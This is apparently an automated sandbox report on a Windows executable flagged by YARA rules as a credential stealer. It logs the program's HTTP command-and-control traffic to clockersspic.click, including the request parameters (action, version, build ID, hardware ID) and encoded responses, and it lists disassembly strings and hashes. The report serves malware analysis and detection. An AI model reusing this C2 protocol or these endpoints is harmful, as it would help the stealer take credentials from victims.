2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: 49 b7 28 55 14 66 77 5b e0 93 21 09 01 98 bd 6f dc ae ad 55 0f 26 37 99 75 60 78 68 1e 73 2d 73 31 a1 3f 1a 5f a2 2c 7d 9d a2 b0 ca 5d 79 9c f6 b6 07 e5 c0 fb 8c 02 5f 96 73 71 50 6e e9 eb 44 20 31 ad be 34 71 b4 f7 cb ee 0c 7d 78 14 cf 50 9a da 12 be 1e 36 d2 e3 87 d5 1e af 0d 86 06 7c 07 07 0a fd 1b 0e a8 f8 7d b0 f0 8b 2d ad 15 92 fa fd 99 6c 4c cd eb ff db e8 a2 20 6c 40 3c 4d fe 5b b2 30 87 a7 0a 42 45 c1 d4 25 e2 35 d5 02 05 5c 91 ce 15 dd 17 07 46 b9 ba d5 14 47 93 63 95 f1 0f f3 9a 06 d8 fa 41 52 4c d9 5b af f9 c2 18 f4 a7 ae 96 9a 57 78 e6 f1 d1 ea 13 3e 14 84 16 a4 bf df 07 d3 11 00 37 6e 1c 9c 0d 3f a6 04 02 66 c5 d3 fe 9b cd 75 63 2f 74 7f 06 a4 95 73 5f fc 49 fe 73 49 b4 1c b2 ff e7 60 5b 7e 71 03 b1 db 7e 08 19 90 cc bc 0c 44 24 53 48 d5 6c Data Ascii: I(Ufw[!oU&7u`xhs-s1?_,}]y_sqPnD 14q}xP6\|}-lL l@<M[0BE%5\FGcARL[Wx>7n?fuc/ts_IsI`[~q~D$SHl
2025-01-03 20:16:08 UTC	15331	OUT	Data Raw: a3 b7 de 6e 5e b5 ad c9 e1 fc 87 a2 50 71 5c 12 7d e2 36 ae 86 de 84 22 c6 e6 91 ac 80 18 c3 3e 18 df 06 01 73 c5 74 f1 e2 83 af e0 36 09 90 3c 71 78 5c 1f d0 e8 b9 34 51 8a f7 a7 d8 ac 2e 93 e0 8f 2e 77 ae c1 a3 e1 be fd ff a1 9c 25 70 10 31 80 a1 8e 7c c4 77 0d c2 5c 34 b9 23 f2 40 2f 3f 5d c3 c4 43 b9 62 15 ae 0a 5d eb 90 fd 32 d2 54 63 db b0 3d 81 9c 91 3c aa 4f 4e 4e f0 1f ce 87 6d 35 36 30 ad 01 39 a1 ce 8a 1d 73 a4 61 b3 e7 35 c1 d3 ce 34 52 c7 ee 07 0d e3 ec f2 7d 94 2a 70 2e e9 67 9a 5b fa 08 32 6c 64 97 71 d9 ce 28 89 99 57 9b b3 ba c7 a5 0f 44 9e 38 92 ba 01 61 73 75 7e 0b e2 d4 b4 57 26 e5 a0 8b 2a de ad 3e ef 2a b2 5c e0 b0 1a 7e 1e 40 ed 03 ac eb 2d 25 54 b6 a5 a8 be 52 6a e0 77 df 5a 2d 60 b0 f4 96 bd 3c 3d 7d c7 a1 d6 b9 6e ac 5b f4 a9 32 Data Ascii: n^Pq\}6">st6<qx\4Q..w%p1\|w\4#@/?]Cb]2Tc=<ONNm5609sa54R}p.g[2ldq(WD8asu~W&>*\~@-%TRjwZ-`<=}n[2
2025-01-03 20:16:11 UTC	1141	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:16:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hai4bf0pij82du4k1fepdkelof; expires=Tue, 29 Apr 2025 14:02:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0F1rqic5J0Ri4kz%2FWBoVbUGLigtXnhh6w9aHkqXr0ltdNPMZiAjizB9xqxeuHBfK9HewNulLzxp2LRDWDQxY27T%2F2u4%2FWUJukctrLLLzLQSM%2FUCJNBTn%2BkMs4ijnbp34b%2BjMpMM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5aa369d8e4385-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1868&min_rtt=1754&rtt_var=885&sent=199&recv=590&lost=0&retrans=0&sent_bytes=2844&recv_bytes=572229&delivery_rate=1095273&cwnd=250&unsent_bytes=0&cid=4ff7e139cd12610c&ts=2395&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	104.21.85.66	443	7292	C:\Users\user\Desktop\hthjjadrthad.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 20:16:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: clockersspic.click
2025-01-03 20:16:11 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 39 35 37 30 38 30 39 35 37 26 6a 3d 26 68 77 69 64 3d 36 30 44 33 30 44 39 42 38 31 41 38 39 36 35 35 31 36 42 38 42 38 34 41 42 32 32 30 30 42 39 36 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--957080957&j=&hwid=60D30D9B81A8965516B8B84AB2200B96
2025-01-03 20:16:12 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 20:16:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tpkrqde3u8mlobfha3ns1c3kjg; expires=Tue, 29 Apr 2025 14:02:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pN%2BZZ6ETpakt4EQ6kHytomtvelA0EaDeM0Hi0xHRac95kVsrzxnzucByqb6lWkH1%2BGnb25HWdcIEFx2uOukGrg25P%2B8mstW2WdKIXnL0TADwpl94%2F3HSs6%2FrEebGKiR0Ix2uhSQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc5aa48b8b68c12-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1886&min_rtt=1878&rtt_var=710&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=988&delivery_rate=1554845&cwnd=177&unsent_bytes=0&cid=426625fe14dfdcc5&ts=495&x=0"
2025-01-03 20:16:12 UTC	238	IN	Data Raw: 33 36 35 63 0d 0a 63 30 63 57 6c 50 62 69 5a 33 58 4a 51 65 76 59 6d 6f 38 30 79 4f 78 6a 55 6b 49 6d 31 71 4e 55 77 67 77 39 7a 36 38 4c 51 2f 59 6f 50 44 54 79 67 73 42 64 52 4f 56 6a 6a 76 71 67 76 68 6a 71 69 45 46 6f 59 42 43 30 34 6d 4b 41 59 31 61 4e 35 6d 38 43 6e 68 67 44 57 50 47 79 72 77 74 65 70 43 36 6e 72 74 76 75 59 49 47 57 4d 42 41 53 52 35 6a 30 4e 76 5a 38 42 59 6e 6e 4f 53 71 64 52 53 78 66 30 35 2b 6a 49 68 33 35 41 72 79 4a 31 37 34 41 68 5a 55 37 5a 43 4e 42 6f 35 73 57 73 6b 46 58 67 65 5a 4f 65 35 6c 43 48 57 44 39 6d 4a 55 79 45 36 67 4f 68 71 2f 56 36 46 57 43 72 54 41 61 45 32 2b 4d 34 69 36 61 61 30 65 46 79 58 73 79 74 55 51 77 55 66 2b 50 72 31 63 53 6e 58 4f 42 6a 76 65 6b Data Ascii: 365cc0cWlPbiZ3XJQevYmo80yOxjUkIm1qNUwgw9z68LQ/YoPDTygsBdROVjjvqgvhjqiEFoYBC04mKAY1aN5m8CnhgDWPGyrwtepC6nrtvuYIGWMBASR5j0NvZ8BYnnOSqdRSxf05+jIh35AryJ174AhZU7ZCNBo5sWskFXgeZOe5lCHWD9mJUyE6gOhq/V6FWCrTAaE2+M4i6aa0eFyXsytUQwUf+Pr1cSnXOBjvek
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 65 4b 61 75 4d 57 73 74 45 2b 43 49 46 59 46 46 55 50 37 6b 53 58 4f 33 4f 41 4e 66 78 34 47 48 41 41 54 78 4e 4a 36 37 30 2b 74 6e 2f 6f 4d 49 4d 58 74 6c 74 4d 70 6a 70 57 6f 49 76 63 78 61 4a 70 49 59 41 58 37 2b 68 37 6f 70 49 4c 38 6d 6f 2b 33 43 31 77 47 42 68 41 70 67 64 42 48 69 34 54 69 31 61 56 2b 2f 35 6b 35 37 77 68 67 4e 59 50 33 47 6c 54 59 58 71 41 2f 59 67 63 2f 69 63 34 4b 74 4d 42 6f 54 62 34 7a 69 4c 70 70 35 52 34 58 4a 52 7a 61 38 52 43 41 39 2f 34 2b 73 56 78 4b 64 63 34 47 2b 39 36 52 2f 72 71 34 78 61 79 30 51 74 2b 4a 69 67 47 4e 57 6e 65 5a 76 41 70 34 59 41 31 6a 78 73 71 38 4c 58 71 41 75 70 34 53 31 7a 6c 57 63 70 52 6b 72 41 48 61 30 31 77 4f 67 4f 45 33 33 36 55 4e 78 6e 41 55 30 55 76 75 78 69 7a 59 77 6f 58 47 6f 6b 4e 76 Data Ascii: eKauMWstE+CIFYFFUP7kSXO3OANfx4GHAATxNJ670+tn/oMIMXtltMpjpWoIvcxaJpIYAX7+h7opIL8mo+3C1wGBhApgdBHi4Ti1aV+/5k57whgNYP3GlTYXqA/Ygc/ic4KtMBoTb4ziLpp5R4XJRza8RCA9/4+sVxKdc4G+96R/rq4xay0Qt+JigGNWneZvAp4YA1jxsq8LXqAup4S1zlWcpRkrAHa01wOgOE336UNxnAU0UvuxizYwoXGokNv
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 55 67 5a 4a 47 53 45 6d 6a 76 30 62 6e 7a 35 37 57 51 6f 74 44 6f 6a 56 2f 79 64 70 69 6b 51 6a 51 79 48 38 2f 66 67 65 4c 36 74 41 67 59 4c 58 49 58 68 42 4b 4e 43 61 71 32 62 65 33 75 77 4f 33 56 38 35 49 57 6d 43 44 4b 67 45 4b 36 77 71 73 78 7a 6d 61 46 53 5a 67 39 66 6a 70 55 31 70 58 6b 46 6a 64 39 47 4b 62 67 36 41 69 2f 37 78 37 67 52 48 4b 63 32 76 72 37 37 77 46 6d 2f 6f 77 51 7a 43 47 65 46 36 77 57 4c 56 6e 79 31 39 32 77 35 76 42 55 33 5a 39 66 42 6c 53 41 65 73 41 7a 62 76 38 36 39 58 70 36 42 53 42 6b 6b 5a 49 53 61 4f 2f 52 75 66 50 6e 74 5a 43 69 30 4f 69 4e 58 2f 4a 32 6d 4b 52 43 4e 44 49 66 7a 39 2b 42 34 76 71 30 43 42 67 74 63 68 65 45 45 6f 30 4a 71 72 5a 74 37 65 37 41 37 64 58 7a 6b 68 61 59 49 4d 71 41 51 72 72 43 71 7a 48 4f 5a Data Ascii: UgZJGSEmjv0bnz57WQotDojV/ydpikQjQyH8/fgeL6tAgYLXIXhBKNCaq2be3uwO3V85IWmCDKgEK6wqsxzmaFSZg9fjpU1pXkFjd9GKbg6Ai/7x7gRHKc2vr77wFm/owQzCGeF6wWLVny192w5vBU3Z9fBlSAesAzbv869Xp6BSBkkZISaO/RufPntZCi0OiNX/J2mKRCNDIfz9+B4vq0CBgtcheEEo0JqrZt7e7A7dXzkhaYIMqAQrrCqzHOZ
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 4a 42 67 6f 67 6e 72 54 31 33 71 38 78 68 44 61 55 78 4d 6e 33 49 32 61 52 4d 46 34 4e 77 71 62 7a 4a 2f 6b 79 4b 69 44 51 33 4e 30 4b 75 37 7a 65 31 58 6c 65 41 2b 6c 49 52 70 69 4d 4b 66 64 72 64 74 7a 34 2b 6f 33 66 66 6b 76 37 6b 44 4a 47 37 4d 77 55 74 61 6f 7a 61 50 66 5a 66 65 72 37 6e 63 51 32 41 51 69 56 65 77 35 53 78 4c 51 2b 42 47 61 66 67 71 2f 56 2f 70 62 30 48 4f 51 35 76 67 4a 59 31 71 6d 74 4f 39 76 70 41 61 4b 55 46 49 58 6d 68 68 4b 38 49 45 34 63 45 75 36 48 50 77 32 53 42 70 67 42 69 4d 57 32 2f 30 47 47 62 66 57 65 49 36 57 34 75 68 68 4a 77 64 2f 2b 64 68 53 51 6b 76 7a 66 59 6f 63 61 67 55 59 50 55 55 54 70 36 58 4c 53 53 49 50 5a 41 57 34 37 4e 57 44 61 48 51 78 31 2b 7a 73 36 4e 41 55 47 35 65 61 32 51 71 4f 5a 6b 68 64 77 36 4d Data Ascii: JBgognrT13q8xhDaUxMn3I2aRMF4NwqbzJ/kyKiDQ3N0Ku7ze1XleA+lIRpiMKfdrdtz4+o3ffkv7kDJG7MwUtaozaPfZfer7ncQ2AQiVew5SxLQ+BGafgq/V/pb0HOQ5vgJY1qmtO9vpAaKUFIXmhhK8IE4cEu6HPw2SBpgBiMW2/0GGbfWeI6W4uhhJwd/+dhSQkvzfYocagUYPUUTp6XLSSIPZAW47NWDaHQx1+zs6NAUG5ea2QqOZkhdw6M
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 6d 49 49 56 43 54 35 66 2f 55 7a 4f 48 49 43 35 30 79 4e 6d 6c 48 6a 43 54 65 59 72 71 34 75 78 6c 72 64 34 69 41 78 41 66 75 5a 59 7a 6f 54 68 6b 6a 74 56 4a 44 35 6f 6e 4c 48 33 41 75 49 63 4e 41 72 31 35 72 66 50 71 33 6c 32 50 6f 69 38 54 4a 57 65 6d 6c 53 32 72 54 67 71 72 31 54 49 74 76 52 30 31 52 73 79 50 31 79 59 6c 6d 69 69 6a 69 64 4b 39 52 34 4f 31 4e 43 6f 6f 46 2b 61 57 47 71 42 35 64 70 62 5a 57 77 2b 42 41 6a 41 6b 34 4d 4b 62 4c 51 4b 45 48 63 53 35 79 75 4a 6f 35 34 70 62 5a 41 56 53 76 75 42 6d 73 6b 74 6e 69 4a 6c 6b 4b 4b 55 51 46 53 48 44 77 35 55 67 48 70 73 59 33 72 76 69 35 6b 36 77 68 31 49 36 47 41 32 6a 34 41 79 58 52 56 62 35 37 57 51 75 33 55 45 55 53 72 75 54 67 46 4e 48 70 6e 6d 52 75 64 6a 73 62 75 4f 6d 4f 57 6f 4a 55 36 Data Ascii: mIIVCT5f/UzOHIC50yNmlHjCTeYrq4uxlrd4iAxAfuZYzoThkjtVJD5onLH3AuIcNAr15rfPq3l2Poi8TJWemlS2rTgqr1TItvR01RsyP1yYlmiijidK9R4O1NCooF+aWGqB5dpbZWw+BAjAk4MKbLQKEHcS5yuJo54pbZAVSvuBmsktniJlkKKUQFSHDw5UgHpsY3rvi5k6wh1I6GA2j4AyXRVb57WQu3UEUSruTgFNHpnmRudjsbuOmOWoJU6
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 5a 46 47 33 39 6e 46 6f 77 78 67 47 50 66 57 2f 6b 69 68 41 34 6a 6d 65 69 4e 4f 39 55 35 75 49 57 78 63 53 45 37 54 79 62 59 4e 6a 57 2f 33 46 54 52 2f 5a 46 6e 56 58 78 61 54 62 43 42 2b 7a 44 36 79 55 77 2f 78 32 75 71 42 54 4f 48 64 46 74 4d 64 73 6d 44 78 32 76 4a 68 47 4e 61 78 4c 44 47 50 6c 78 72 67 50 4c 2f 45 75 6a 65 7a 71 74 33 4b 41 33 67 6f 43 44 78 61 50 34 6d 65 54 53 30 36 6b 37 46 73 76 6a 67 63 4b 56 36 47 50 31 53 6c 46 76 69 53 6e 74 2f 6e 6c 65 71 66 59 46 7a 6b 6c 61 37 2b 54 4d 50 64 2b 55 36 50 58 55 6a 6d 71 58 43 42 35 32 59 47 78 55 68 69 46 49 37 69 53 77 76 68 4f 67 6f 6f 54 43 67 56 32 75 63 6f 6a 39 55 46 33 6f 39 73 67 42 6f 49 51 4e 30 54 38 33 5a 63 6a 42 34 49 45 33 61 4c 67 34 6e 61 38 33 78 6f 4f 62 55 4f 52 6b 57 33 Data Ascii: ZFG39nFowxgGPfW/kihA4jmeiNO9U5uIWxcSE7TybYNjW/3FTR/ZFnVXxaTbCB+zD6yUw/x2uqBTOHdFtMdsmDx2vJhGNaxLDGPlxrgPL/Eujezqt3KA3goCDxaP4meTS06k7FsvjgcKV6GP1SlFviSnt/nleqfYFzkla7+TMPd+U6PXUjmqXCB52YGxUhiFI7iSwvhOgooTCgV2ucoj9UF3o9sgBoIQN0T83ZcjB4IE3aLg4na83xoObUORkW3
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 49 51 36 4f 35 45 59 4b 55 48 62 6c 35 63 58 44 61 77 79 30 35 7a 73 31 51 53 75 78 79 38 39 61 52 57 4f 78 43 36 49 61 6b 32 39 78 47 6b 54 6e 79 73 78 57 50 65 41 79 53 51 58 6b 51 61 6f 69 2f 37 57 41 62 6d 45 44 52 52 31 63 70 4c 4d 4d 34 42 46 58 35 62 61 59 58 53 53 46 67 4e 62 2b 4e 32 50 41 46 36 68 45 37 69 31 7a 66 55 42 75 4a 6b 43 48 42 56 45 6c 66 6b 4e 69 55 31 36 70 39 35 6f 4f 5a 34 2b 47 7a 6e 42 68 5a 63 39 44 61 59 6c 73 35 4c 63 2f 6d 65 6e 6f 7a 64 71 41 32 47 62 32 6d 65 6e 66 6c 4c 34 35 58 49 7a 6d 55 59 76 54 39 47 4f 6b 44 51 79 75 52 47 50 67 4e 54 63 41 71 4b 46 55 52 34 74 44 65 58 37 4d 37 68 47 57 37 2f 41 53 51 61 78 51 42 5a 68 70 4d 47 4d 56 7a 54 38 46 72 47 49 38 50 74 4d 2b 34 4a 58 4d 79 6c 4a 37 2b 41 46 39 6e 77 4f Data Ascii: IQ6O5EYKUHbl5cXDawy05zs1QSuxy89aRWOxC6Iak29xGkTnysxWPeAySQXkQaoi/7WAbmEDRR1cpLMM4BFX5baYXSSFgNb+N2PAF6hE7i1zfUBuJkCHBVElfkNiU16p95oOZ4+GznBhZc9DaYls5Lc/menozdqA2Gb2menflL45XIzmUYvT9GOkDQyuRGPgNTcAqKFUR4tDeX7M7hGW7/ASQaxQBZhpMGMVzT8FrGI8PtM+4JXMylJ7+AF9nwO
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 66 42 4a 58 4e 45 70 59 57 52 41 78 75 64 4d 36 69 6f 39 65 4e 62 2b 62 59 58 4a 43 39 52 70 63 34 68 6a 56 55 50 71 50 35 71 43 62 63 53 46 6b 7a 59 6e 72 46 66 4c 62 34 37 6f 65 43 74 37 6e 6d 6e 67 78 45 31 64 57 69 52 31 7a 66 77 54 31 79 49 37 58 34 68 74 51 4e 31 58 71 4b 55 6f 31 45 35 2b 57 71 6f 36 36 4c 4f 51 59 32 59 42 7a 63 47 61 37 72 7a 42 5a 4e 4a 61 6f 72 4c 61 58 43 6b 50 44 56 52 2b 38 65 34 55 7a 43 68 49 34 2f 75 31 73 74 74 72 62 6f 62 4e 58 55 55 73 75 73 49 37 57 55 4c 6e 39 73 36 64 37 73 4b 48 79 44 31 6e 49 52 65 4d 37 67 56 68 5a 76 58 33 6b 43 6d 70 69 45 31 4b 45 53 73 32 51 79 4b 58 56 79 46 6d 56 6f 6f 75 44 30 55 55 73 57 2f 73 41 6b 63 75 41 7a 59 6e 76 6e 64 41 4a 37 62 46 42 55 70 64 34 66 73 50 72 4e 57 62 36 7a 4f 63 Data Ascii: fBJXNEpYWRAxudM6io9eNb+bYXJC9Rpc4hjVUPqP5qCbcSFkzYnrFfLb47oeCt7nmngxE1dWiR1zfwT1yI7X4htQN1XqKUo1E5+Wqo66LOQY2YBzcGa7rzBZNJaorLaXCkPDVR+8e4UzChI4/u1sttrbobNXUUsusI7WULn9s6d7sKHyD1nIReM7gVhZvX3kCmpiE1KESs2QyKXVyFmVoouD0UUsW/sAkcuAzYnvndAJ7bFBUpd4fsPrNWb6zOc
2025-01-03 20:16:12 UTC	1369	IN	Data Raw: 45 4a 36 47 2f 6d 7a 39 44 71 48 61 65 34 61 76 2f 66 37 36 69 4a 67 64 36 66 4f 66 47 4a 71 73 6e 53 70 6e 42 61 67 32 48 42 41 4e 68 39 64 32 6a 4d 67 65 59 42 4a 75 61 31 74 64 5a 67 4b 59 77 49 6a 4d 58 34 5a 41 48 71 58 30 46 2f 76 6c 66 4e 4a 67 6c 4e 6a 33 59 77 36 41 77 41 61 59 71 69 5a 72 5a 7a 55 4c 77 72 69 59 6d 41 48 4f 39 34 68 61 6e 56 6e 43 6b 79 32 59 32 6e 41 55 64 5a 38 66 44 6d 44 55 64 6d 51 53 6c 67 4f 71 37 52 61 75 71 41 44 38 72 64 4b 58 6c 44 59 55 6e 57 6f 72 48 5a 51 6d 73 4f 44 39 5a 2f 61 57 78 44 52 69 66 47 64 2b 33 72 2b 5a 58 6d 5a 38 70 4d 43 31 42 37 70 49 34 74 48 67 46 75 75 70 69 4e 4c 41 72 42 48 66 67 76 72 68 51 4e 34 49 54 6f 62 7a 32 35 32 65 77 71 43 55 66 47 30 6d 61 34 42 65 62 52 55 6d 4e 39 55 6f 5a 6f 69 Data Ascii: EJ6G/mz9DqHae4av/f76iJgd6fOfGJqsnSpnBag2HBANh9d2jMgeYBJua1tdZgKYwIjMX4ZAHqX0F/vlfNJglNj3Yw6AwAaYqiZrZzULwriYmAHO94hanVnCky2Y2nAUdZ8fDmDUdmQSlgOq7RauqAD8rdKXlDYUnWorHZQmsOD9Z/aWxDRifGd+3r+ZXmZ8pMC1B7pI4tHgFuupiNLArBHfgvrhQN4ITobz252ewqCUfG0ma4BebRUmN9UoZoi

Target ID:	0
Start time:	15:15:53
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\hthjjadrthad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hthjjadrthad.exe"
Imagebase:	0x4a0000
File size:	1'268'224 bytes
MD5 hash:	8CB303A0D38BFD91163192B53CE3B01D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2094668994.0000000000D5B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2094668994.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	73.9%
Total number of Nodes:	184
Total number of Limit Nodes:	13

Executed Functions

Function 004C0400 Relevance: 35.6, Strings: 28, Instructions: 592
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[, xrefs: 004C08A9
?, xrefs: 004C0AA3
3, xrefs: 004C0BB4
4, xrefs: 004C0968
6, xrefs: 004C0BA5
, xrefs: 004C0AA8
K, xrefs: 004C060C
[, xrefs: 004C08AE
e^2R, xrefs: 004C0634
4, xrefs: 004C04AA
3, xrefs: 004C04AF
4, xrefs: 004C0BAF
5, xrefs: 004C0963
3, xrefs: 004C096D
6, xrefs: 004C04A0
,, xrefs: 004C0A07
X, xrefs: 004C089F
P, xrefs: 004C08A4
;, xrefs: 004C0A9E
L, xrefs: 004C0611
!@, xrefs: 004C0436
R, xrefs: 004C06CA
6, xrefs: 004C095E
5, xrefs: 004C04A5
P, xrefs: 004C06D4
M, xrefs: 004C0616
5, xrefs: 004C0BAA
d, xrefs: 004C0607

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: $!@$,$3$3$3$4$4$4$5$5$5$6$6$6$;$?$K$L$M$P$P$R$X$[$[$d$e^2R
API String ID: 0-1012810597
Opcode ID: 34f67a624bb70a101133879fae8e8d8e7d51f3240cc354e2e8bda26af7d75521
Instruction ID: 9f485400db0b266e56471df84a698d4e582fc2100960c5ca448f4bc903b03249
Opcode Fuzzy Hash: 34f67a624bb70a101133879fae8e8d8e7d51f3240cc354e2e8bda26af7d75521
Instruction Fuzzy Hash: 4132F27560C390CFD368CB28C49176FBBE1AB85318F188A2EE5D587382D6799845CB4B

Function 004C1723 Relevance: 16.1, Strings: 12, Instructions: 1124COMMON

Download Yara Rule

Strings

6543, xrefs: 004C1898, 004C1840
TS--, xrefs: 004C182F
o`, xrefs: 004C26A4
45, xrefs: 004C256E
@@, xrefs: 004C223E
> L, xrefs: 004C207A
6543, xrefs: 004C1B68
EG, xrefs: 004C250E
WST*, xrefs: 004C1827
|~, xrefs: 004C267C
6543, xrefs: 004C1783
G>A0, xrefs: 004C25E0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 45$6543$6543$6543$> L$@@$G>A0$TS--$WST*$o`$EG$|~
API String ID: 0-739131494
Opcode ID: 8e74a4c018b42a2f5d99ffbf18ae42e7d4bb0e6f2bcfa3f4e3c972e4463816ad
Instruction ID: 6bde872e5af19fae80cb135d52335a7d3792763e00d754a775331d36cba4ef51
Opcode Fuzzy Hash: 8e74a4c018b42a2f5d99ffbf18ae42e7d4bb0e6f2bcfa3f4e3c972e4463816ad
Instruction Fuzzy Hash: 2282EC75648381CFD3048F28DC91B2BB7E2FB85354F19896DE5868B3A2DB789841CB46

Function 004A95A0 Relevance: 11.6, Strings: 9, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

60D30D9B81A8965516B8B84AB2200B96, xrefs: 004A9693
|~, xrefs: 004A984C
MANl, xrefs: 004A9620
pr, xrefs: 004A9854
DeF, xrefs: 004A983C
=, xrefs: 004A9754
h6j, xrefs: 004A9864
pq, xrefs: 004A9973
^, xrefs: 004A97D0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: DeF$60D30D9B81A8965516B8B84AB2200B96$=$MANl$^$pq$h6j$pr$|~
API String ID: 0-3561686017
Opcode ID: ffd3a3844947bc4fe3084591742e2e54e9075a4245f7602577ef35bf0062cbe0
Instruction ID: 5bff8be85d6d5496a90917e328ff827f35b7f907ca420e7ba064c9a215877376
Opcode Fuzzy Hash: ffd3a3844947bc4fe3084591742e2e54e9075a4245f7602577ef35bf0062cbe0
Instruction Fuzzy Hash: CBB117B164C3448FC318DF258891A6BBBF6EFD2314F18886DE5D18B345D638C90ACB5A

Function 004D4AB0 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 670
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004D4DEC
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,000008BB,00000000,00000000,00000000,00000000), ref: 004D5193

Strings

6s$4, xrefs: 004D5242
>s$4, xrefs: 004D5284
@A, xrefs: 004D4D73

Memory Dump Source

